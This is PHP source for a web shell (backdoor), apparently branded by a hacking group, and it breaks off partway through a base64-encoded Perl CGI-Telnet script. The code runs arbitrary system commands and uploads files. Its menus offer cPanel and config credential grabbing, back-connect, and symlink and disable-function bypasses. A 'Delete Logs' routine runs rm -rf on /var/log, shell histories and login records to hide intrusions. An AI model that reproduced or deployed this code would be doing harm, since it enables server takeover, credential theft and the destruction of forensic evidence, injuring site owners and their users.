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) format('woff');
    font-weight: normal;
    font-style: normal;

}

html {
background:black;
    color: #ffffff;
    font-family:ubuntu_monoregular;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;border:1;

	font-size: 11px;
	width: 100%;
    }
  .jancok {
  display: inline-block;
    padding: 3px 6px;
    margin-bottom: 0;
    font-size: 12px;
    
    border:1px solid #191919;
    text-align: left;
    white-space: nowrap;
}
#nav{position:fixed;z-index:999;top:0;width:100%;left:73%;
}
a.nav-fokus {display:block; width:auto; height:auto; background:#191919; border-top:0px; border-left: 1px solid #fff; border-right:1px solid #fff;  border-bottom:1px solid #fff;  padding:5px 8px; text-align:center; text-decoration:none; color:red; line-height:20px; overflow:hidden; float:left;
}
a.nav-fokus:hover {color:#FFFFFF; background:#191919; border-top:0px; border-left: 1px solid #fff; border-right:1px solid #fff;  border-bottom:1px solid #fff;
}
#menu a {
     font-family:ubuntu_monoregular;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;border:1;
     font-size: 12px;
     background:#191919;
     color:white;
     margin:5px 2px 4px 2px;
     padding:5px 8px;
     border-color: cyan;
     text-decoration:none;
     letter-spacing:1px;
     -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
       }
#menu a:hover {
     font-size: 12px;
     background:#191919;-webkit-transform:rotate(0.0deg);-moz-transform:rotate(0.0deg);-ms-transform:rotate(0.0deg);-o-transform:rotate(0.0deg);transform:rotate(0.0deg);
     color: white;
     padding:5px 8px;
     margin:1px;
     border: 1px;
     font-family:ubuntu_monoregular;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;border:1;
     letter-spacing:1px;
     margin:5px 2px 4px 2px;
        -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
       }


li {
	display: inline;
	margin: 1px;
	padding: 1px;
}
.a_exp a:hover{
text-decoration: underline;
}
textarea{
        background:transparent;
	border: 1px solid #2d2b2b;
	width: 100%;
	height: 400px;
	padding-left: 5px;
	margin: 10px auto;
	font-family:Homenaje;
	color: #ffffff;
	font-size:13px;
}
input,select{
	background:transparent;
	color:white;
	margin:0 10px;
	font-family:Homenaje;
	font-size:13px;
	border:2px solid #2d2b2b;
}
li a{
color:#fff;text-decoration: none;background:#333;padding:3px;margin:3px;
}
li a:hover{
color:#fff;background:white;text-decoration: none;
}
thead{
background:#333;color:#fff;
}
a:hover{
text-decoration: underline;
}
.a_phpinfo{
background:#000;color:#fff;border:1px solid #fff;text-align:center;
}
.a_phpinfo th,.a_phpinfo tr,.a_phpinfo td{
border-collapse:collapse;border:1px solid white;
}
option{
background:#000;color:white;border:0;}
}
.table_home, .td_home {
    border: 1px solid #191919;
}
.table_home td:hover {
    background: #191919;
}
.th_home {
    font-family:ubuntu_monoregular;
     font-size: 12px;
     background:#191919;
     color:white;
     border-color: #191919;
     text-decoration:none;
     letter-spacing:2px;
}
table, th, td {
    font-family:ubuntu_monoregular;
    background: black;
    font-size: 13px;
}
table{
border: 1px #000000 dotted;
}
th {
	padding: 10px;
}
a {
	color: #ffffff;
	text-decoration: none;
}
a:hover {
	color: white;
	text-decoration: underline;
    font-family:ubuntu_monoregular;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;border:1;

}
b {
	color: white;
}
input[type=text], input[type=password],input[type=submit] {
	background: transparent; 
	color:white;
	margin:0 10px;
	font-family:Homenaje;
	font-size:13px;
	border:2px solid #2d2b2b;
}
input[type=submit] {
	background: transparent; 
	color:white;
	margin:0 10px;
	font-family:Homenaje;
	font-size:13px;
	border:2px solid #2d2b2b;

}
option:hover {
background:#000;color:white;border:0;}

}.a_exp{border:1px solid #fff;border-collapse: collapse;
}
.mybox{-moz-border-radius: 10px; border-radius: 10px;border:1px solid #ff0000; padding:4px 2px;width:70%;line-height:24px;background:none;box-shadow: 0px 4px 2px white;-webkit-box-shadow: 0px 4px 2px #ff0000;-moz-box-shadow: 0px 4px 2px #ff0000;}
.cgx2 {text-align: center;letter-spacing:1px;font-family: "orbitron";color: #ff0000;font-size:25px;text-shadow: 5px 5px 5px black;}
.infoweb {
	border-right: 1px solid #00FFFF;
}
    </style>
</head>

<?php
function w($dir,$perm) {
	if(!is_writable($dir)) {
		return "<font color=red>".$perm."</font>";
	} else {
		return "<font color=green>".$perm."</font>";
	}
}
function exe($cmd) {
	if(function_exists('system')) { 		
		@ob_start(); 		
		@system($cmd); 		
		$buff = @ob_get_contents(); 		
		@ob_end_clean(); 		
		return $buff; 	
	} elseif(function_exists('exec')) { 		
		@exec($cmd,$results); 		
		$buff = ""; 		
		foreach($results as $result) { 			
			$buff .= $result; 		
		} return $buff; 	
	} elseif(function_exists('passthru')) { 		
		@ob_start(); 		
		@passthru($cmd); 		
		$buff = @ob_get_contents(); 		
		@ob_end_clean(); 		
		return $buff; 	
	} elseif(function_exists('shell_exec')) { 		
		$buff = @shell_exec($cmd); 		
		return $buff; 	
	} 
}
function sulap($text) {
  if(!get_magic_quotes_gpc()) {
    return $text;
	}
  return stripslashes($text);
}
function GrabUrl($url,$type){

        $urlArray = array();

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $result = curl_exec($ch);

        $regex='|<a.*?href="(.*?)"|';
        preg_match_all($regex,$result,$parts);
        $links=$parts[1];
        foreach($links as $link){
            array_push($urlArray, $link);
        }
        curl_close($ch);

        foreach($urlArray as $value){
            $lol="$url$value";
			if(preg_match("#$type#is", $lol)) {
				echo "$lol
";
			}
        }
}
function showdisablefunctions() {
    if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:'><font color=#DD4736><b>".$disablefunc."</b></font></span>"; }
    else { return "<span style='color:#00FF1E'><b>NONE</b></span>"; }
}
function ambilKata($param, $kata1, $kata2){
    if(strpos($param, $kata1) === FALSE) return FALSE;
    if(strpos($param, $kata2) === FALSE) return FALSE;
    $start = strpos($param, $kata1) + strlen($kata1);
    $end = strpos($param, $kata2, $start);
    $return = substr($param, $start, $end - $start);
    return $return;
}
function perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));

return $info;
}
$_c7e = 'WGFpIFN5bmRpY2F0ZQ==';
$sys = php_uname();
$ip = gethostbyname($_SERVER['HTTP_HOST']);
$sm = (@ini_get(strtolower("safe_mode")) == 'on') ? '<font>ON</font>' : '<font>OFF</font>';
$getds = @ini_get("disable_functions");
$ds = showdisablefunctions().' <font color=white>on</font> <font color=teal>'.php_sapi_name().'</font>';
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\','/',$path);
$paths = explode('/',$path);
$home_r = $_SERVER['DOCUMENT_ROOT'];
$_COPY = base64_decode($_c7e);
if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}
if($_POST['upload']) {
		if($_POST['tipe_upload'] == 'biasa') {
			if(@copy($_FILES['ix_file']['tmp_name'], "$path/".$_FILES['ix_file']['name']."")) {
				$act = "<font color=green>Uploaded!</font> at <i><b>$path/".$_FILES['ix_file']['name']."</b></i>";
			} else {
				$act = "<font color=red>Failed to upload file</font>";
			}
		} else {
			$root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
			$web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
			if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
				if(@copy($_FILES['ix_file']['tmp_name'], $root)) {
					$act = "<font color=green>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
				} else {
					$act = "<font color=red>Failed to upload file</font>";
				}
			} else {
				$act = "<font color=red>Failed to upload file</font>";
			}
		}
	}
	echo "<center>Uploader :
	<form method='post' enctype='multipart/form-data'>
	<input type='radio' name='tipe_upload' value='biasa' checked>Biasa [ ".w($path,"Writeable")." ] 
	<input type='radio' name='tipe_upload' value='home_root'>home_root [ ".w($_SERVER['DOCUMENT_ROOT'],"Writeable")." ]<br>
	<input type='file' name='ix_file'>
	<input type='submit' value='upload' name='upload'>
	</form>";
	echo $act;

echo"
<div id='menu'>
<center>
<ul>
<a href='?path=$path&jancok=cmd'>Command</a>
<a href='?path=$path&jancok=mass'>Mass</a>
<a href='?path=$path&jancok=adminer'>Adminer</a>
<a href='?path=$path&jancok=jumping'>Jumping</a>
<a href='?path=$path&jancok=cpanel'>Grab Cpanel</a>
<a href='?path=$path&jancok=cgi'>Cgi Telnet</a>
<a href='?path=$path&config=grabber'>Config Tools</a>
<a href='?path=$path&mass=changer'>Mass User Changer</a>
<a href='?path=$path&backconnect=tool'>Back Connect Tools</a>
<a href='?path=$path&symlink=tool'>Symlink Tools</a>
<a href='?path=$path&bypass=tool'>Bypass Tools</a></ul></div></center>";
echo "<div id='nav'>
<a class='nav-fokus' href='?'><b>Home</b></a><a class='nav-fokus' href='?path=$path&con7ext=info'><b>System Info</b></a><a class='nav-fokus' href='?path=$path&delete=logs'><b>Delete Logs</b></a><a class='nav-fokus' href='?path=$path&kill=self'><b>Kill Self</b></a><a class='nav-fokus' href='?path=$path&jancok=logout'><b>Log-Out</b></a></div>";
echo '
<br>
<hr color="#191919">
<br>
<table width="700" align="center">
<tr><td><font color="white">Current Path :</font>';
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '</td></tr>';
echo '</table>';
echo '<hr color="#191919"><br>';
if($_GET['jancok'] == 'logout') {
echo '<form action="?patch='.$path.'&do=logout" method="post">';
    unset($_SESSION[md5($_SERVER['HTTP_HOST'])]); 
    echo 'Good Bye!!';
} elseif($_GET['con7ext'] == 'domains'){echo "<center><div class='mybox'><p align='center' class='cgx2'>Domains and Users</p>";$d0mains = @file("/etc/named.conf");if(!$d0mains){die("<center>Error : can't read [ /etc/named.conf ]</center>");}echo '<table id="output"><tr bgcolor=#cecece><td>Domains</td><td>users</td></tr>';foreach($d0mains as $d0main){if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);flush();if(strlen(trim($domains[1][0])) > 2){$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>";flush();}}}echo'</div></center>';
}elseif($_GET['con7ext'] == 'info') {
echo '<table width="600" border="600" align=center><tr><td>
<center>
System : '.$sys.'<br>
IP : '.$ip.'<br>
Safe Mode : '.$sm.'<br>
Disabled Functions : '.$ds.'<br>
Home_root : '.$home_r.'
</center>
</td></tr>
</table>';
} elseif($_GET['delete'] == 'logs') {
  	echo '<br><center><b><span>Delete Logs ( For Safe )</span></b><center><br>';
	echo "<table style='margin: 0 auto;'><tr valign='top'><td align='left'>";      
	exec("rm -rf /tmp/logs");
	exec("rm -rf /root/.ksh_history");
	exec("rm -rf /root/.bash_history");
	exec("rm -rf /root/.bash_logout");
	exec("rm -rf /usr/local/apache/logs");
	exec("rm -rf /usr/local/apache/log");
	exec("rm -rf /var/apache/logs");
	exec("rm -rf /var/apache/log");
	exec("rm -rf /var/run/utmp");
	exec("rm -rf /var/logs");
	exec("rm -rf /var/log");
	exec("rm -rf /var/adm");
	exec("rm -rf /etc/wtmp");
	exec("rm -rf /etc/utmp");
	exec("rm -rf $HISTFILE");
	exec("rm -rf /var/log/lastlog");
	exec("rm -rf /var/log/wtmp");

	shell_exec("rm -rf /tmp/logs");
	shell_exec("rm -rf /root/.ksh_history");
	shell_exec("rm -rf /root/.bash_history");
	shell_exec("rm -rf /root/.bash_logout");
	shell_exec("rm -rf /usr/local/apache/logs");
	shell_exec("rm -rf /usr/local/apache/log");
	shell_exec("rm -rf /var/apache/logs");
	shell_exec("rm -rf /var/apache/log");
	shell_exec("rm -rf /var/run/utmp");
	shell_exec("rm -rf /var/logs");
	shell_exec("rm -rf /var/log");
	shell_exec("rm -rf /var/adm");
	shell_exec("rm -rf /etc/wtmp");
	shell_exec("rm -rf /etc/utmp");
	shell_exec("rm -rf $HISTFILE");
	shell_exec("rm -rf /var/log/lastlog");
	shell_exec("rm -rf /var/log/wtmp");

	passthru("rm -rf /tmp/logs");
	passthru("rm -rf /root/.ksh_history");
	passthru("rm -rf /root/.bash_history");
	passthru("rm -rf /root/.bash_logout");
	passthru("rm -rf /usr/local/apache/logs");
	passthru("rm -rf /usr/local/apache/log");
	passthru("rm -rf /var/apache/logs");
	passthru("rm -rf /var/apache/log");
	passthru("rm -rf /var/run/utmp");
	passthru("rm -rf /var/logs");
	passthru("rm -rf /var/log");
	passthru("rm -rf /var/adm");
	passthru("rm -rf /etc/wtmp");
	passthru("rm -rf /etc/utmp");
	passthru("rm -rf $HISTFILE");
	passthru("rm -rf /var/log/lastlog");
	passthru("rm -rf /var/log/wtmp");


	system("rm -rf /tmp/logs");
	sleep(2);
	echo'<br>Deleting .../tmp/logs ';
	sleep(2);

	system("rm -rf /root/.bash_history");
	sleep(2);
	echo'<p>Deleting .../root/.bash_history </p>';

	system("rm -rf /root/.ksh_history");
	sleep(2);
	echo'<p>Deleting .../root/.ksh_history </p>';

	system("rm -rf /root/.bash_logout");
	sleep(2);
	echo'<p>Deleting .../root/.bash_logout </p>';

	system("rm -rf /usr/local/apache/logs");
	sleep(2);
	echo'<p>Deleting .../usr/local/apache/logs </p>';

	system("rm -rf /usr/local/apache/log");
	sleep(2);
	echo'<p>Deleting .../usr/local/apache/log </p>';

	system("rm -rf /var/apache/logs");
	sleep(2);
	echo'<p>Deleting .../var/apache/logs </p>';

	system("rm -rf /var/apache/log");
	sleep(2);
	echo'<p>Deleting .../var/apache/log </p>';

	system("rm -rf /var/run/utmp");
	sleep(2);
	echo'<p>Deleting .../var/run/utmp </p>';

	system("rm -rf /var/logs");
	sleep(2);
	echo'<p>Deleting .../var/logs </p>';

	system("rm -rf /var/log");
	sleep(2);
	echo'<p>Deleting .../var/log </p>';

	system("rm -rf /var/adm");
	sleep(2);
	echo'<p>Deleting .../var/adm </p>';

	system("rm -rf /etc/wtmp");
	sleep(2);
	echo'<p>Deleting .../etc/wtmp </p>';

	system("rm -rf /etc/utmp");
	sleep(2);
	echo'<p>Deleting .../etc/utmp </p>';

	system("rm -rf $HISTFILE");
	sleep(2);
	echo'<p>Deleting ...$HISTFILE </p>'; 

	system("rm -rf /var/log/lastlog");
	sleep(2);
	echo'<p>Deleting .../var/log/lastlog </p>';

	system("rm -rf /var/log/wtmp");
	sleep(2);
	echo'<p>Deleting .../var/log/wtmp </p>';

	sleep(4);

	echo '<br><br><p>Your Traces Has Been Successfully Deleting ...From the Server';
	echo"</td></tr></table>";
} elseif($_GET['bypass'] == 'vhosts') {
        echo "<div id='menu'><center><a href='?path=$path&bypass=disablefunc'>Disable Functions</a><a href='?path=$path&bypass=passwd'>Bypass /etc/passwd</a><a href='?path=$path&bypass=vhostss'>Bypass Vhosts</a></div>";
	echo "<form method='POST' action=''>";
	echo "<center><br><font size='6'>Bypass Symlink vHost</font><br><br>";
	echo "<center><input type='submit' value='Bypass it' name='Colii'></center>";
		if (isset($_POST['Colii'])){
                        mkdir('symvhosts', 0755);
                        chdir('symvhosts');
                        system('ln -s / Rintoar.txt');
			$fvckem ='T3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpEaXJlY3RvcnlJbmRleCBzc3Nzc3MuaHRtDQpBZGRUeXBlIHR4dCAucGhwDQpBZGRIYW5kbGVyIHR4dCAucGhw';
			$file = fopen(".htaccess","w+"); $write = fwrite ($file ,base64_decode($fvckem)); $Bok3p = symlink("/","Rintoar.txt");
			$rt="<br><a href=symvhosts/Rintoar.txt TARGET='_blank'><font color=#ff0000 size=2 face='Courier New'><b>
	Bypassed Successfully</b></font></a>";
	echo "<br><br><b>Done.. !</b><br><br>Check link given below for / folder symlink <br>$rt<br>Note: Apabila Forbidden pas buka /var/www/vhosts/Domain.com/ harap tambahkan httpdocs ex:/var/www/vhosts/Domain.com/httpdocs/</center>";} echo "</form>";
} elseif($_GET['jancok'] == 'cgi') {
	$cgi_dir = mkdir('con7ext_cgi', 0755);
        chdir('con7ext_cgi');
	$file_cgi = "cgi.con7ext";
        $memeg = ".htaccess";
	$isi_htcgi = "OPTIONS Indexes Includes ExecCGI FollowSymLinks 
 AddType application/x-httpd-cgi .con7ext 
 AddHandler cgi-script .con7ext 
 AddHandler cgi-script .con7ext";
	$htcgi = fopen(".htaccess", "w");
	$cgi_script = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS4zIjsNCiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7DQoNCiRQYXNzd29yZCA9ICJ4YWlzeW5kaWNhdGUiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcyB0byBsb2dpbi4NCnN1YiBJc19XaW4oKXsNCgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7DQoJaWYoJG9zID1+IG0vd2luL2kpew0KCQlyZXR1cm4gMTsNCgl9DQoJZWxzZXsNCgkJcmV0dXJuIDA7DQoJfQ0KfQ0KJFdpbk5UID0gJklzX1dpbigpOwkJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmDQoJCQkJCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91DQoJCQkJCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4NCg0KJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJCQkJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQNCgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCQkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLg0KDQokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwkJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UNCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kDQoJCQkJCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4NCg0KIyBET04nVCBDSEFOR0UgQU5ZVE